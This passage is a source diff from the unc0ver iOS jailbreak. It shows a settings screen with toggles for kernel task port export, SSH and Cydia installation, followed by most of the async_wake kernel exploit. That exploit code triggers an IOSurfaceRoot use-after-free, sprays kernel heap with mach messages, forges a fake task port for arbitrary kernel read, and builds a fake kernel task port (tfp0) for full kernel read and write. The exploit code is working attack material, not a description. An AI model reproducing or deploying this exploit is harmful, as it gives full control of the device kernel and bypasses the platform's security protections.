auto const copyAction = [UIAlertAction actionWithTitle:localize(@"Yes") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
auto prefs = copy_prefs();
|
||||
[[UIPasteboard generalPasteboard] setString:@(prefs->boot_nonce)];
|
||||
release_prefs(&prefs);
|
||||
}];
|
||||
auto const noAction = [UIAlertAction actionWithTitle:localize(@"No") style:UIAlertActionStyleCancel handler:nil];
|
||||
[copyBootNonceAlert addAction:copyAction];
|
||||
[copyBootNonceAlert addAction:noAction];
|
||||
[self presentViewController:copyBootNonceAlert animated:TRUE completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCopyECID:(id)sender {
|
||||
auto const copyBootNonceAlert = [UIAlertController alertControllerWithTitle:localize(@"Copy ECID?") message:localize(@"Would you like to ECID to clipboard?") preferredStyle:UIAlertControllerStyleAlert];
|
||||
auto const copyAction = [UIAlertAction actionWithTitle:localize(@"Yes") style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
auto prefs = copy_prefs();
|
||||
[[UIPasteboard generalPasteboard] setString:hexFromInt(@(prefs->ecid).integerValue)];
|
||||
release_prefs(&prefs);
|
||||
}];
|
||||
auto const noAction = [UIAlertAction actionWithTitle:localize(@"No") style:UIAlertActionStyleCancel handler:nil];
|
||||
[copyBootNonceAlert addAction:copyAction];
|
||||
[copyBootNonceAlert addAction:noAction];
|
||||
[self presentViewController:copyBootNonceAlert animated:TRUE completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCheckForUpdate:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
auto const update = [NSString stringWithContentsOfURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus/raw/master/Update.txt"] encoding:NSUTF8StringEncoding error:nil];
|
||||
if (update == nil) {
|
||||
notice(localize(@"Failed to check for update."), true, false);
|
||||
} else if ([update compare:appVersion() options:NSNumericSearch] == NSOrderedDescending) {
|
||||
notice(localize(@"An update is available."), true, false);
|
||||
} else {
|
||||
notice(localize(@"Already up to date."), true, false);
|
||||
}
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
}
|
||||
|
||||
- (IBAction)exportKernelTaskPortSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->export_kernel_task_port = (bool)self.ExportKernelTaskPortSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)RestoreRootFSSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->restore_rootfs = (bool)self.RestoreRootFSSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)installCydiaSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->install_cydia = (bool)self.installCydiaSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)installSSHSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->install_openssh = (bool)self.installSSHSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (void)tableView:(UITableView *)tableView willDisplayFooterView:(UITableViewHeaderFooterView *)footerView forSection:(NSInteger)section {
|
||||
footerView.textLabel.text = [@"unc0ver " stringByAppendingString:appVersion()];
|
||||
footerView.textLabel.textAlignment = NSTextAlignmentCenter;
|
||||
}
|
||||
|
||||
- (IBAction)IncreaseMemoryLimitSwitch:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->increase_memory_limit = (bool)self.IncreaseMemoryLimitSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnAutomaticallySelectExploit:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->exploit = (int)recommendedJailbreakSupport();
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)reloadSystemDaemonsSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->reload_system_daemons = (bool)self.ReloadSystemDaemonsSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedRestartSpringBoard:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
notice(localize(@"SpringBoard will be restarted."), true, false);
|
||||
auto const support = recommendedRespringSupport();
|
||||
switch (support) {
|
||||
case deja_xnu_exploit: {
|
||||
auto const bb_tp = hid_event_queue_exploit();
|
||||
_assert(MACH_PORT_VALID(bb_tp), localize(@"Unable to get task port for backboardd."), true);
|
||||
_assert(thread_call_remote(bb_tp, exit, 1, REMOTE_LITERAL(EXIT_SUCCESS)) == ERR_SUCCESS, localize(@"Unable to make backboardd exit."), true);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
exit(EXIT_FAILURE);
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCleanDiagnosticsData:(id)sender {
|
||||
cleanLogs();
|
||||
notice(localize(@"Cleaned diagnostics data."), false, false);
|
||||
}
|
||||
|
||||
- (IBAction)hideLogWindowSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->hide_log_window = (bool)self.HideLogWindowSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
auto const block = ^(void) {
|
||||
notice(localize(@"Preference was changed. The app will now exit."), true, false);
|
||||
exit(EXIT_SUCCESS);
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
}
|
||||
|
||||
- (IBAction)resetCydiaCacheSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->reset_cydia_cache = (bool)self.ResetCydiaCacheSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)sshOnlySwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->ssh_only = (bool)self.SSHOnlySwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)enableGetTaskAllowSwitchTriggered:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->enable_get_task_allow = (bool)self.EnableGetTaskAllowSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)setCSDebugged:(id)sender {
|
||||
auto prefs = copy_prefs();
|
||||
prefs->set_cs_debugged = (bool)self.SetCSDebuggedSwitch.isOn;
|
||||
set_prefs(prefs);
|
||||
release_prefs(&prefs);
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnResetAppPreferences:(id)sender {
|
||||
auto const block = ^(void) {
|
||||
reset_prefs();
|
||||
notice(localize(@"Preferences were reset. The app will now exit."), true, false);
|
||||
exit(EXIT_SUCCESS);
|
||||
};
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), block);
|
||||
}
|
||||
|
||||
- (void)didReceiveMemoryWarning {
|
||||
[super didReceiveMemoryWarning];
|
||||
// Dispose of any resources that can be recreated.
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,702 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include <pthread.h>
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "async_wake.h"
|
||||
#include "early_kalloc.h"
|
||||
#include "find_port.h"
|
||||
|
||||
#include <common.h>
|
||||
|
||||
// various prototypes and structure definitions for missing iOS headers:
|
||||
|
||||
kern_return_t mach_vm_read(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
vm_offset_t* data,
|
||||
mach_msg_type_number_t* dataCnt);
|
||||
|
||||
/****** IOKit/IOKitLib.h *****/
|
||||
typedef mach_port_t io_service_t;
|
||||
typedef mach_port_t io_connect_t;
|
||||
|
||||
extern const mach_port_t kIOMasterPortDefault;
|
||||
#define IO_OBJECT_NULL (0)
|
||||
|
||||
kern_return_t
|
||||
IOConnectCallAsyncMethod(
|
||||
mach_port_t connection,
|
||||
uint32_t selector,
|
||||
mach_port_t wakePort,
|
||||
uint64_t* reference,
|
||||
uint32_t referenceCnt,
|
||||
const uint64_t* input,
|
||||
uint32_t inputCnt,
|
||||
const void* inputStruct,
|
||||
size_t inputStructCnt,
|
||||
uint64_t* output,
|
||||
uint32_t* outputCnt,
|
||||
void* outputStruct,
|
||||
size_t* outputStructCntP);
|
||||
|
||||
kern_return_t
|
||||
IOConnectCallMethod(
|
||||
mach_port_t connection,
|
||||
uint32_t selector,
|
||||
const uint64_t* input,
|
||||
uint32_t inputCnt,
|
||||
const void* inputStruct,
|
||||
size_t inputStructCnt,
|
||||
uint64_t* output,
|
||||
uint32_t* outputCnt,
|
||||
void* outputStruct,
|
||||
size_t* outputStructCntP);
|
||||
|
||||
io_service_t
|
||||
IOServiceGetMatchingService(
|
||||
mach_port_t _masterPort,
|
||||
CFDictionaryRef matching);
|
||||
|
||||
CFMutableDictionaryRef
|
||||
IOServiceMatching(
|
||||
const char* name);
|
||||
|
||||
kern_return_t
|
||||
IOServiceOpen(
|
||||
io_service_t service,
|
||||
task_port_t owningTask,
|
||||
uint32_t type,
|
||||
io_connect_t* connect);
|
||||
|
||||
/******** end extra headers ***************/
|
||||
|
||||
mach_port_t user_client = MACH_PORT_NULL;
|
||||
|
||||
// make_dangling will drop an extra reference on port
|
||||
// this is the actual bug:
|
||||
void make_dangling(mach_port_t port)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
uint64_t inputScalar[16];
|
||||
uint32_t inputScalarCnt = 0;
|
||||
|
||||
char inputStruct[4096];
|
||||
size_t inputStructCnt = 0x18;
|
||||
|
||||
uint64_t* ivals = (uint64_t*)inputStruct;
|
||||
ivals[0] = 1;
|
||||
ivals[1] = 2;
|
||||
ivals[2] = 3;
|
||||
|
||||
uint64_t outputScalar[16];
|
||||
uint32_t outputScalarCnt = 0;
|
||||
|
||||
char outputStruct[4096];
|
||||
size_t outputStructCnt = 0;
|
||||
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
uint64_t reference[8] = { 0 };
|
||||
uint32_t referenceCnt = 1;
|
||||
|
||||
for (int i = 0; i < 2; i++) {
|
||||
err = IOConnectCallAsyncMethod(
|
||||
user_client,
|
||||
17, // s_set_surface_notify
|
||||
port,
|
||||
reference,
|
||||
referenceCnt,
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
LOG("%x", err);
|
||||
};
|
||||
|
||||
err = IOConnectCallMethod(
|
||||
user_client,
|
||||
18, // s_remove_surface_notify
|
||||
inputScalar,
|
||||
inputScalarCnt,
|
||||
inputStruct,
|
||||
inputStructCnt,
|
||||
outputScalar,
|
||||
&outputScalarCnt,
|
||||
outputStruct,
|
||||
&outputStructCnt);
|
||||
|
||||
LOG("%x", err);
|
||||
}
|
||||
|
||||
static bool prepare_user_client()
|
||||
{
|
||||
kern_return_t err;
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
|
||||
|
||||
if (service == IO_OBJECT_NULL) {
|
||||
LOG("unable to find service");
|
||||
return false;
|
||||
}
|
||||
|
||||
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to get user client connection");
|
||||
return false;
|
||||
}
|
||||
|
||||
LOG("got user client: 0x%x", user_client);
|
||||
return true;
|
||||
}
|
||||
|
||||
mach_port_t* prepare_ports(int n_ports)
|
||||
{
|
||||
mach_port_t* ports = malloc(n_ports * sizeof(mach_port_t));
|
||||
for (int i = 0; i < n_ports; i++) {
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
|
||||
if (err != KERN_SUCCESS) {
|
||||
for (int j = 0; j < i; j++) {
|
||||
mach_port_deallocate(mach_task_self(), ports[j]);
|
||||
}
|
||||
SafeFreeNULL(ports);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
return ports;
|
||||
}
|
||||
|
||||
void free_ports(mach_port_t* ports, int n_ports)
|
||||
{
|
||||
for (int i = 0; i < n_ports; i++) {
|
||||
mach_port_t port = ports[i];
|
||||
if (port == MACH_PORT_NULL) {
|
||||
continue;
|
||||
}
|
||||
|
||||
mach_port_destroy(mach_task_self(), port);
|
||||
}
|
||||
}
|
||||
|
||||
struct simple_msg {
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
mach_port_t send_kalloc_message(uint8_t* replacer_message_body, uint32_t replacer_body_size)
|
||||
{
|
||||
// allocate a port to send the messages to
|
||||
mach_port_t q = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate port");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
mach_port_limits_t limits = { 0 };
|
||||
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
|
||||
err = mach_port_set_attributes(mach_task_self(),
|
||||
q,
|
||||
MACH_PORT_LIMITS_INFO,
|
||||
(mach_port_info_t)&limits,
|
||||
MACH_PORT_LIMITS_INFO_COUNT);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to increase queue limit");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
|
||||
struct simple_msg* msg = malloc(msg_size);
|
||||
memset(msg, 0, sizeof(struct simple_msg));
|
||||
memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
|
||||
|
||||
for (int i = 0; i < 256; i++) { // was MACH_PORT_QLIMIT_LARGE
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = q;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to send message %x (%d): %s", err, i, mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
}
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
/*
|
||||
for the given mach message size, how big will the ipc_kmsg structure be?
|
||||
|
||||
This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out!
|
||||
|
||||
The size is overallocated so that if the message was sent from a 32-bit process
|
||||
they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which
|
||||
means that for each descriptor they would need an extra 4 bytes of space for the
|
||||
larger pointer. Except at this point they have no idea what's in the message
|
||||
so they assume the worst case for all messages. This leads to approximately a 30%
|
||||
overhead in the allocation size.
|
||||
|
||||
The allocated size also contains space for the maximum trailer plus the ipc_kmsg header.
|
||||
|
||||
When the message is actually written into this buffer it's aligned to the end
|
||||
*/
|
||||
|
||||
/*
|
||||
build a fake task port object to get an arbitrary read
|
||||
|
||||
I am basing this on the techniques used in Yalu 10.2 released by
|
||||
@qwertyoruiopz and @marcograss (and documented by Johnathan Levin
|
||||
in *OS Internals Volume III)
|
||||
|
||||
There are a few difference here. We have a kernel memory disclosure bug so
|
||||
we know the address the dangling port pointer points to. This means we don't need
|
||||
to point the task to userspace to get a "what+where" primitive since we can just
|
||||
put whatever recursive structure we require in the object which will replace
|
||||
the free'd port.
|
||||
|
||||
We can also leverage the fact that we have a dangling mach port pointer
|
||||
to also write to a small area of the dangling port (via mach_port_set_context)
|
||||
|
||||
If we build the replacement object (with the fake struct task)
|
||||
correctly we can set it up such that by calling mach_port_set_context we can control
|
||||
where the arbitrary read will read from.
|
||||
|
||||
this same method is used again a second time once the arbitrary read works so that the vm_map
|
||||
and receiver can be set correctly turning this into a fake kernel task port.
|
||||
*/
|
||||
|
||||
static uint32_t IO_BITS_ACTIVE = 0x80000000;
|
||||
static uint32_t IKOT_TASK = 2;
|
||||
static uint32_t IKOT_NONE = 0;
|
||||
|
||||
uint64_t second_port_initial_context = 0x1024204110244201;
|
||||
|
||||
uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr)
|
||||
{
|
||||
uint8_t* body = malloc(message_body_size);
|
||||
memset(body, 0, message_body_size);
|
||||
|
||||
uint32_t port_page_offset = dangling_port_address & 0xfff;
|
||||
|
||||
// structure required for the first fake port:
|
||||
uint8_t* fake_port = body + (port_page_offset - message_body_offset);
|
||||
|
||||
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;
|
||||
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references
|
||||
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
|
||||
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
|
||||
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;
|
||||
|
||||
*context_ptr = (uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));
|
||||
|
||||
// set the kobject pointer such that task->bsd_info reads from ip_context:
|
||||
int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);
|
||||
|
||||
uint64_t fake_task_address = dangling_port_address + fake_task_offset;
|
||||
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;
|
||||
|
||||
// when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task
|
||||
// pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that!
|
||||
|
||||
if (fake_port + fake_task_offset < body) {
|
||||
LOG("the maths is wrong somewhere, fake task doesn't fit in message");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
uint8_t* fake_task = fake_port + fake_task_offset;
|
||||
|
||||
// set the ref_count field of the fake task:
|
||||
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
|
||||
|
||||
// make sure the task is active
|
||||
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
|
||||
|
||||
// set the vm_map of the fake task:
|
||||
*(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
|
||||
|
||||
// set the task lock type of the fake task's lock:
|
||||
*(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
|
||||
return body;
|
||||
}
|
||||
|
||||
/*
|
||||
* the first tpf0 we get still hangs of the dangling port and is backed by a type-confused ipc_kmsg buffer
|
||||
*
|
||||
* use that tfp0 to build a safer one such that we can safely free everything this process created and exit
|
||||
* without leaking memory
|
||||
*/
|
||||
mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
mach_port_t tfp0 = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tfp0);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate port");
|
||||
}
|
||||
|
||||
// build a fake struct task for the kernel task:
|
||||
//uint64_t fake_kernel_task_kaddr = kmem_alloc_wired(0x4000);
|
||||
uint64_t fake_kernel_task_kaddr = early_kalloc(0x1000);
|
||||
LOG("fake_kernel_task_kaddr: %llx", fake_kernel_task_kaddr);
|
||||
|
||||
void* fake_kernel_task = malloc(0x1000);
|
||||
memset(fake_kernel_task, 0, 0x1000);
|
||||
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
|
||||
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
|
||||
*(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
|
||||
*(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
|
||||
kmemcpy(fake_kernel_task_kaddr, (uint64_t)fake_kernel_task, 0x1000);
|
||||
SafeFreeNULL(fake_kernel_task);
|
||||
|
||||
uint32_t fake_task_refs = ReadKernel32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT));
|
||||
LOG("read fake_task_refs: %x", fake_task_refs);
|
||||
if (fake_task_refs != 0xd00d) {
|
||||
LOG("read back value didn't match...");
|
||||
}
|
||||
|
||||
// now make the changes to the port object to make it a task port:
|
||||
uint64_t port_kaddr = find_port_address(tfp0, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK);
|
||||
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d);
|
||||
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d);
|
||||
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space);
|
||||
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_kernel_task_kaddr);
|
||||
|
||||
// swap our receive right for a send right:
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = tfp0 >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
uint32_t bits = ReadKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry
|
||||
|
||||
#define IE_BITS_SEND (1 << 16)
|
||||
#define IE_BITS_RECEIVE (1 << 17)
|
||||
|
||||
bits &= (~IE_BITS_RECEIVE);
|
||||
bits |= IE_BITS_SEND;
|
||||
|
||||
WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits);
|
||||
|
||||
LOG("about to test new tfp0");
|
||||
|
||||
vm_offset_t data_out = 0;
|
||||
mach_msg_type_number_t out_size = 0;
|
||||
err = mach_vm_read(tfp0, vm_map, 0x40, &data_out, &out_size);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
LOG("kernel read via second tfp0 port worked?");
|
||||
LOG("0x%016llx", *(uint64_t*)data_out);
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 8));
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));
|
||||
LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));
|
||||
|
||||
return tfp0;
|
||||
}
|
||||
|
||||
// task_self_addr points to the struct ipc_port for our task port
|
||||
uint64_t find_kernel_vm_map(uint64_t task_self_addr)
|
||||
{
|
||||
uint64_t struct_task = ReadKernel64(task_self_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
while (struct_task != 0) {
|
||||
uint64_t bsd_info = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
|
||||
|
||||
uint32_t pid = ReadKernel32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
|
||||
|
||||
if (pid == 0) {
|
||||
uint64_t vm_map = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
|
||||
return vm_map;
|
||||
}
|
||||
|
||||
struct_task = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV));
|
||||
}
|
||||
|
||||
LOG("unable to find kernel task...");
|
||||
return 0;
|
||||
}
|
||||
|
||||
const uint64_t context_magic = 0x1214161800000000; // a random constant
|
||||
const uint64_t initial_context = 0x1020304015253545; // another random constant
|
||||
|
||||
mach_port_t get_kernel_memory_rw()
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;
|
||||
uint32_t replacer_body_size = message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t);
|
||||
uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE;
|
||||
|
||||
LOG("message size for kalloc.4096: %d", message_size_for_kalloc_size(4096));
|
||||
|
||||
if (!prepare_user_client()) {
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
uint64_t task_self = task_self_addr();
|
||||
if (task_self == 0) {
|
||||
LOG("unable to disclose address of our task port");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
LOG("our task port is at 0x%llx", task_self);
|
||||
|
||||
int n_pre_ports = 100000; //8000
|
||||
mach_port_t* pre_ports = prepare_ports(n_pre_ports);
|
||||
if (pre_ports == NULL) {
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
// make a bunch of smaller allocations in a different zone which can be collected later:
|
||||
uint32_t smaller_body_size = message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t);
|
||||
|
||||
uint8_t* smaller_body = malloc(smaller_body_size);
|
||||
memset(smaller_body, 'C', smaller_body_size);
|
||||
|
||||
const int n_smaller_ports = 600; // 150 MB
|
||||
mach_port_t smaller_ports[n_smaller_ports];
|
||||
for (int i = 0; i < n_smaller_ports; i++) {
|
||||
smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size);
|
||||
if (smaller_ports[i] == MACH_PORT_NULL) {
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
}
|
||||
|
||||
// now find a suitable port
|
||||
// we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't
|
||||
// completely control all the data:
|
||||
// specifically we're targetting kalloc.4096 but the message body will only span
|
||||
// xxx448 -> xxxfbc so we want to make sure the port we target is within that range
|
||||
// actually, since we're also putting a fake task struct here and want
|
||||
// the task's bsd_info pointer to overlap with the ip_context field we need a stricter range
|
||||
|
||||
int ports_to_test = 100;
|
||||
int base = n_pre_ports - 1000;
|
||||
|
||||
mach_port_t first_port = MACH_PORT_NULL;
|
||||
uint64_t first_port_address = 0;
|
||||
|
||||
for (int i = 0; i < ports_to_test; i++) {
|
||||
mach_port_t candidate_port = pre_ports[base + i];
|
||||
uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
uint64_t page_offset = candidate_address & 0xfff;
|
||||
if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need
|
||||
LOG("found target port with suitable allocation page offset: 0x%016llx", candidate_address);
|
||||
pre_ports[base + i] = MACH_PORT_NULL;
|
||||
first_port = candidate_port;
|
||||
first_port_address = candidate_address;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (first_port == MACH_PORT_NULL) {
|
||||
LOG("unable to find a candidate port with a suitable page offset");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
uint64_t* context_ptr = NULL;
|
||||
